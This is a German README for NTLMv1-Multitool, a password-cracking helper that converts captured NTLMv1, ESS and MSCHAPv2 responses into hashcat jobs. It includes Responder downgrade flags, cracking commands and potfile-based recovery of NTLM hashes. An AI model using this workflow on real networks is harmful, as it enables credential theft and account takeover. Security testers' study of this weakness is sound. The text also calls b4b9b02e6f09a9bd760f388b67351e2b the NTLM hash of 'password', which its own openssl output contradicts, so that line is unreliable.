
NTLMv1-Multitool
Dieses Tool wandelt NTLMv1-Hashes in NTLM um, genauer gesagt formatiert es NTLMv1-Challenge-Responses in ein Format, das mit hashcat-Modus 14000 geknackt werden kann.
Wenn du --ct3 angibst, berechnet es die letzten 4 Zeichen des NTLM-Hashes für dich. Wenn du --json angibst, ist --ct3 impliziert und es wird als Element pt3 zurückgegeben, z. B.:
python3 ntlmv1.py --ntlm "DC1$::MOG:AC51EC464A91A35A04A862DA3106EC2B352661ECEF909C5E:AC51EC464A91A35A04A862DA3106EC2B352661ECEF909C5E:1122334455667788" --json
{"ntlmv1": "DC1$::MOG:AC51EC464A91A35A04A862DA3106EC2B352661ECEF909C5E:AC51EC464A91A35A04A862DA3106EC2B352661ECEF909C5E:1122334455667788", "user": "DC1$", "domain": "MOG", "challenge": "1122334455667788", "lmresp": "AC51EC464A91A35A04A862DA3106EC2B352661ECEF909C5E", "ntresp": "AC51EC464A91A35A04A862DA3106EC2B352661ECEF909C5E", "ct3": "352661ECEF909C5E", "ct3_crack": "ct3_to_ntlm.bin 352661ECEF909C5E 1122334455667788", "pt3": "8c71", "hash1": "AC51EC464A91A35A:1122334455667788", "hash2": "04A862DA3106EC2B:1122334455667788"}
Schließlich habe ich in diesem Update die Funktionen in main() verschoben, sodass du das Modul einfach importieren kannst, um es direkt zu verwenden.
Ich habe 2 neue Optionen hinzugefügt, --hashcat und --hcutils. Diese legen den Pfad zu deinem hashcat bzw. deinen hashcat-utils fest, sodass du direkt aus dem Tool kopieren und einfügen kannst.
Du würdest das Tool so ausführen, wenn sich dein hashcat-Verzeichnis in ~/git/hashcat und dein hashcat-utils-Verzeichnis in ~/git/hashcat-utils befindet:
python3 ./ntlmv1.py --ntlm "SERVER1$::MOG:9DE7F41D81C1207400000000000000000000000000000000:DE766A98B60D1C911DCFFFDBB3E521314B2CE34EAB63CC7B:1122334455667788" --hashcat "~/git/hashcat" --hcutils "~/git/hashcat-utils"
Ja, das ist angeblich Python-3-kompatibel. Ich habe außerdem ntlmv1 und ntlmv1-ess zusammengeführt.
NTLMv1-Multitool
Dieses Tool modifiziert NTLMv1-/NTLMv1-ESS-/MSCHAPv2-Hashes, sodass sie mit DES-Modus 14000 in hashcat geknackt werden können.
Dieses Tool basiert auf Arbeiten von atom vom Team Hashcat https://hashcat.net/forum/thread-5832.html
Es basiert außerdem auf https://hashcat.net/forum/thread-5912.html und https://www.youtube.com/watch?v=LIHACAct2vo
Installiere das Next-Gen-Tool ntlmv1_nextgen.py als globalen ntlmv1-multi-Befehl mit uv:
uv tool install .
ntlmv1-multi --ntlmv1 "hashcat::DUSTIN-5AA37877:76365E2D142B5612980C67D057EB9EFEEE5EF6EB6FF6E04D:727B4E35F947129EA52B9CDEDAE86934BB23EF89F50FC595:1122334455667788"
Oder führe es direkt aus dem Repo aus, ohne es zu installieren:
uv run ntlmv1_nextgen.py --ntlmv1 "hashcat::DUSTIN-5AA37877:..."
Das Projekt enthält eine pyproject.toml (Python 3.14+, Abhängigkeit pycryptodome), sodass uv alles für dich auflöst. Das ursprüngliche ntlmv1.py läuft weiterhin eigenständig mit jedem Python-3-Interpreter.
ntlmv1_nextgen.py)ntlmv1_nextgen.py (installiert als Befehl ntlmv1-multi) ist der moderne Parser. Er akzeptiert NTLMv1, $99$-Blobs und MSCHAPv2, behandelt ESS automatisch und kann die vollständige NTLMv1-zu-NTLM-Konvertierung in einem Schritt aus einer geknackten Potfile abschließen. Verfügbare Optionen:
Zum Mitschneiden verwende Responder mit dem Flag --lm. Ohne --lm aktivierst du ESS, was länger zum Knacken dauert. Außerdem gibt es ein neues Flag --disable-ess, das versucht, ESS zu deaktivieren und den Downgrade zu erzwingen. Versuche zuerst --disable-ess und falls das fehlschlägt, bitte --lm. Wenn du --disable-ess oder --lm verwendest, stelle sicher, dass deine Client-Challenge 1122334455667788 ist, um das FPGA zu nutzen. Dies könnte jedoch einige Netzwerk-IDS/IPS-Schutzmechanismen auslösen, wenn sie diesen Datenverkehr sehen.
Der Mitschrieb sieht dann wie folgt aus.
[SMB] NTLMv1 Client : 184.64.60.62
[SMB] NTLMv1 Username : DUSTIN-5AA37877\hashcat
[SMB] NTLMv1 Hash : hashcat::DUSTIN-5AA37877:76365E2D142B5612980C67D057EB9EFEEE5EF6EB6FF6E04D:727B4E35F947129EA52B9CDEDAE86934BB23EF89F50FC595:1122334455667788
[*] Skipping previously captured hash for DUSTIN-5AA37877\hashcat
Der Hash-Teil sieht wie folgt aus
hashcat::DUSTIN-5AA37877:76365E2D142B5612980C67D057EB9EFEEE5EF6EB6FF6E04D:727B4E35F947129EA52B9CDEDAE86934BB23EF89F50FC595:1122334455667788
Verwende das Multitool also wie folgt (es ist auch Python-2-kompatibel)
python3 ntlmv1.py --ntlmv1 hashcat::DUSTIN-5AA37877:76365E2D142B5612980C67D057EB9EFEEE5EF6EB6FF6E04D:727B4E35F947129EA52B9CDEDAE86934BB23EF89F50FC595:1122334455667788
Es gibt die folgenden Daten aus, ohne Server-Challenges usw. zu verändern.
['hashcat', '', 'DUSTIN-5AA37877', '76365E2D142B5612980C67D057EB9EFEEE5EF6EB6FF6E04D', '727B4E35F947129EA52B9CDEDAE86934BB23EF89F50FC595', '1122334455667788']
Hostname: DUSTIN-5AA37877
Username: hashcat
Challenge: 1122334455667788
LM Response: 76365E2D142B5612980C67D057EB9EFEEE5EF6EB6FF6E04D
NT Response: 727B4E35F947129EA52B9CDEDAE86934BB23EF89F50FC595
CT1: 727B4E35F947129E
CT2: A52B9CDEDAE86934
CT3: BB23EF89F50FC595
To Calculate final 4 characters of NTLM hash use:
./ct3_to_ntlm.bin BB23EF89F50FC595 1122334455667788
To crack with hashcat create a file with the following contents:
727B4E35F947129E:1122334455667788
A52B9CDEDAE86934:1122334455667788
To crack with hashcat:
./hashcat -m 14000 -a 3 -1 charsets/DES_full.charset --hex-charset hashes.txt ?1?1?1?1?1?1?1?1
Das in diesem Fall verwendete Passwort ist „password" und wir können den NTLM-Hash überprüfen mit
echo -n password | iconv -f utf8 -t utf16le | openssl dgst -md4
(stdin)= 8846f7eaee8fb117ad06bdd830b7586c
Mit ct3_to_ntlm.bin aus den hashcat-utils, das atom geschrieben hat, kannst du die letzten 4 Zeichen des NTLM-Hashes aus der NTLMv1-Challenge berechnen, die das Tool ausgibt.
./ct3_to_ntlm.bin BB23EF89F50FC595 1122334455667788
586c
Das stimmt mit dem Ende des NTLM-Hashes überein, also können wir loslegen. Der nächste Schritt ist das Knacken der Hashes mit hashcat. Dazu müssen wir eine Datei hashes.txt mit folgendem Inhalt erstellen:
727B4E35F947129E:1122334455667788
A52B9CDEDAE86934:1122334455667788
Zum Knacken mit hashcat verwendest du
./hashcat -m 14000 -a 3 -1 charsets/DES_full.charset --hex-charset hashes.txt ?1?1?1?1?1?1?1?1
Ein wichtiger Hinweis: hashcat gibt DES-Schlüssel und keine NTLM-Schlüssel zurück. Du musst sie mit deskey_to_ntlm.pl aus den Hashcat Utils in NTLM konvertieren. Das geht so:
./deskey_to_ntlm.pl [cracked des key 1]
./deskey_to_ntlm.pl [cracked des key 2]
Du kombinierst dann die beiden NTLM-Schlüssel mit dem dritten Teil des Passworts. Berechnet durch (was auch immer das Tool ausgibt):
./ct3_to_ntlm.bin BB23EF89F50FC595 1122334455667788
Setze diese 3 Teile zusammen und du bist startklar.
Wenn du nur meinen Code testest und das Passwort bereits kennst, kannst du den DES-Konverter verwenden:
python ntlm-to-des.py --ntlm b4b9b02e6f09a9bd760f388b67351e2b
DESKEY1: b55d6d04e67926
DESKEY2: bcba83e6895b9d
echo "$HEX[b55d6d04e67926]">>des.cand
echo "$HEX[bcba83e6895b9d]">>des.cand
Im Grunde machst du Folgendes:
echo "$HEX[b55d6d04e67926]">>des.cand
echo "$HEX[bcba83e6895b9d]">>des.cand
./hashcat -m 14000 -a 0 hashes.txt des.cand
Und du solltest ein paar geknackte Hashes haben.
ESS verändert die Server-Challenge. Wenn du ESS in deinem Responder siehst, weil du --lm nicht verwendet hast oder der Client so eingestellt ist, keine LM-Antwort zu senden, wird ESS aktiviert. Außerdem versucht --disable-ess, ESS abzuschalten. Dies erfordert jedoch eine aktuelle Kopie (August 2021 oder neuer) von impacket und Responder.
Die ESS-Ausgabe sieht wie folgt aus
[SMB] NTLMv1-SSP Client : 184.64.60.62
[SMB] NTLMv1-SSP Username : DUSTIN-5AA37877\hashcat
[SMB] NTLMv1-SSP Hash : hashcat::DUSTIN-5AA37877:85D5BC2CE95161CD00000000000000000000000000000000:892F905962F76D323837F613F88DE27C2BBD6C9ABCD021D0:1122334455667788
Der eigentliche Hash sieht wie folgt aus
hashcat::DUSTIN-5AA37877:85D5BC2CE95161CD00000000000000000000000000000000:892F905962F76D323837F613F88DE27C2BBD6C9ABCD021D0:1122334455667788
Um das Tool zu verwenden, führe aus (es ist Python-3-kompatibel):
python3 ntlmv1.py --ntlmv1 "hashcat::DUSTIN-5AA37877:85D5BC2CE95161CD00000000000000000000000000000000:892F905962F76D323837F613F88DE27C2BBD6C9ABCD021D0:1122334455667788"
Das Tool wird Folgendes ausgeben:
Hashfield Split:
['hashcat', '', 'DUSTIN-5AA37877', '85D5BC2CE95161CD00000000000000000000000000000000', '892F905962F76D323837F613F88DE27C2BBD6C9ABCD021D0', '1122334455667788']
Hostname: DUSTIN-5AA37877
Username: hashcat
LM Response: 85D5BC2CE95161CD00000000000000000000000000000000
NT Response: 892F905962F76D323837F613F88DE27C2BBD6C9ABCD021D0
Client Challenge: 1122334455667788
SRV Challenge: b36d2b9a8607ea77
To Calculate final 4 characters of NTLM hash use:
./ct3_to_ntlm.bin 2BBD6C9ABCD021D0 1122334455667788 85D5BC2CE95161CD00000000000000000000000000000000
To crack with hashcat create a file with the following contents:
892F905962F76D32:b36d2b9a8607ea77
3837F613F88DE27C:b36d2b9a8607ea77
To crack with hashcat:
./hashcat -m 14000 -a 3 -1 charsets/DES_full.charset --hex-charset hashes.txt ?1?1?1?1?1?1?1?1
Das Passwort, das wir in diesem Fall verwenden, ist password, das einen NTLM-Hash von b4b9b02e6f09a9bd760f388b67351e2b hat.
echo -n password | iconv -f utf8 -t utf16le | openssl dgst -md4
(stdin)= 8846f7eaee8fb117ad06bdd830b7586c
Um also die letzten 4 Zeichen des NTLM-Hashes für unsere NTLMv1-ESS-Challenge zu berechnen, verwenden wir den folgenden Befehl aus der Tool-Ausgabe, um 586c zu erhalten:
./ct3_to_ntlm.bin 2BBD6C9ABCD021D0 1122334455667788 85D5BC2CE95161CD00000000000000000000000000000000
Wir müssen eine Hash-Datei mit folgendem Inhalt erstellen, entsprechend dem Tool, das die modifizierten SRV-Challenges zur Behandlung von ESS enthält:
892F905962F76D32:b36d2b9a8607ea77
3837F613F88DE27C:b36d2b9a8607ea77
Zum Knacken mit hashcat verwenden wir gemäß dem Tool Folgendes:
./hashcat -m 14000 -a 3 -1 charsets/DES_full.charset --hex-charset hashes.txt ?1?1?1?1?1?1?1?1
Ein wichtiger Hinweis: hashcat gibt DES-Schlüssel und keine NTLM-Schlüssel zurück. Du musst sie mit deskey_to_ntlm.pl aus den Hashcat Utils in NTLM konvertieren. Das geht so:
./deskey_to_ntlm.pl [cracked des key 1]
./deskey_to_ntlm.pl [cracked des key 2]
Nehmen wir nun an, wir wüssten bereits, was der NTLM-Hash in diesem Fall ist, weil wir ihn erstellt haben, und möchten die Toolchain validieren. Dann verwenden wir Folgendes:
python ntlm-to-des.py --ntlm b4b9b02e6f09a9bd760f388b67351e2b
Das wird uns einige Daten ausgeben:
DESKEY1: b55d6d04e67926
DESKEY2: bcba83e6895b9d
echo "$HEX[b55d6d04e67926]">>des.cand
echo "$HEX[bcba83e6895b9d]">>des.cand
Der wichtige Teil hier ist:
echo "$HEX[b55d6d04e67926]">>des.cand
echo "$HEX[bcba83e6895b9d]">>des.cand
Jetzt können wir mit hashcat knacken, indem wir Folgendes verwenden, und müssen nicht 8 Tage warten:
./hashcat -m 14000 -a 0 hashes.txt des.cand
python ntlm-to-des.py --ntlm 8846f7eaee8fb117ad06bdd830b7586c
DESKEY1: b55d6d05e6792652
DESKEY2: bdba82e6895a9d6a
echo "$HEX[b55d6d05e6792652]">>des.cand
echo "$HEX[bdba82e6895a9d6a]">>des.cand
Das Tool unterstützt jetzt JSON-Ausgabe. Setze das Flag --json und es wird eine JSON-Ausgabe erzeugen:
python3 ntlmv1.py --ntlmv1 "SERVER1$::MOG:7EF3F506F5EA510E00000000000000000000000000000000:1217169BD7BE0270A033899BD440016D3E6DACAF5894D504:ff81dfd6b12c269d" --json
{"ntlmv1": "SERVER1$::MOG:7EF3F506F5EA510E00000000000000000000000000000000:1217169BD7BE0270A033899BD440016D3E6DACAF5894D504:ff81dfd6b12c269d", "user": "SERVER1$", "domain": "MOG", "challenge": "ff81dfd6b12c269d", "lmresp": "7EF3F506F5EA510E00000000000000000000000000000000", "ntresp": "1217169BD7BE0270A033899BD440016D3E6DACAF5894D504", "ct3": "3E6DACAF5894D504", "srvchallenge": "888f8ee0fa031808", "ct3_crack": "ct3_to_ntlm.bin 3E6DACAF5894D504 ff81dfd6b12c269d 7EF3F506F5EA510E00000000000000000000000000000000", "hash1": "1217169BD7BE0270:888f8ee0fa031808", "hash2": "A033899BD440016D:888f8ee0fa031808", "CRACK_SH": "$NETLM$888f8ee0fa031808$1217169BD7BE0270A033899BD440016D3E6DACAF5894D504"}
Die wichtigen Felder sind:
Nachdem du die DES-Hashes des Modus 14000 mit hashcat geknackt hast, landen die geknackten DES-Schlüssel in deiner Potfile als ct:challenge:key-Zeilen (der Schlüssel wird normalerweise als $HEX[...] gespeichert, da es sich um rohe Bytes handelt). Anstatt die Schlüssel manuell mit --key1/--key2 zurückzukopieren, richte ntlmv1_nextgen.py auf die Potfile aus, und es wird die Schlüssel wiederherstellen, sie gegen die Chiffrate validieren und die vollständige NTLMv1-zu-NTLM-Konvertierung in einem Schritt abschließen:
python3 ntlmv1_nextgen.py --ntlmv1 "hashcat::DUSTIN-5AA37877:76365E2D142B5612980C67D057EB9EFEEE5EF6EB6FF6E04D:727B4E35F947129EA52B9CDEDAE86934BB23EF89F50FC595:1122334455667788" --potfile ~/.local/share/hashcat/hashcat.potfile
Der wiederhergestellte NTLM-Hash wird als Feld NTLM ausgegeben (bzw. ntlm bei --json). --potfile funktioniert mit --ntlmv1, --99 und --mschapv2, behandelt ESS-Hashes (Abgleich über die von MD5 abgeleitete Challenge) und ignoriert nicht zusammenhängende Potfile-Einträge. Explizite --key1/--key2 haben weiterhin Vorrang vor Potfile-Übereinstimmungen.
Sowohl hashcat- als auch rainbowcrackalack-Potfiles werden akzeptiert. Das Feld für den geknackten Schlüssel kann ein hashcat-$HEX[...]-Blob, nackte druckbare Bytes, ein nackter 16-Hex-8-Byte-Schlüssel oder ein nackter 14-Hex-7-Byte-Schlüssel sein (die Form, die rainbowcrackalack ausgibt) – alle werden normalisiert und vor der Verwendung erneut gegen das Chiffrat validiert.
Dieses Repo basiert auf Forenbeiträgen von atom, dem Autor von hashcat, und auf Forschung von moxie marlinspike. Da atoms Code größtenteils unter der MIT-Lizenz steht, hat dieses Projekt diese Lizenz ebenfalls übernommen, um kompatibel zu sein. Dieses Projekt ist nicht GPL-lizenziert, sodass jede Einrichtung es ohne Einschränkungen in ein kommerzielles Projekt integrieren kann.
| Option | Beschreibung |
|---|
--ntlmv1 <hash> | NTLMv1-Hash im Responder-Format (user::host:LM:NT:challenge). |
--99 <blob> | Base64-Blob im $99$-Stil. |
--mschapv2 <hash> | MSCHAPv2-Hash im John-the-Ripper-Format. |
--nthash <hex> | 32-stelliger NTLM-Hash; leitet die DES-Schlüssel und hashcat-Kandidaten ab. |
--password <pw> | Leitet die DES-Schlüssel --key1/--key2 aus einem bekannten Passwort ab. |
--key1 <hex> / --key2 <hex> | Liefert die 16-Hex-DES-Schlüssel für CT1/CT2 direkt (hat Vorrang vor --potfile). |
--potfile <path> | Potfile (hashcat/rainbowcrackalack) mit geknackten Modus-14000-Schlüsseln; stellt key1/key2 automatisch wieder her, um die NTLMv1-zu-NTLM-Konvertierung abzuschließen. |
--hashcat | Gibt Strings im hashcat-Format für CT1/CT2 aus. |
--json | Gibt nur JSON aus (impliziert die CT3-Berechnung). |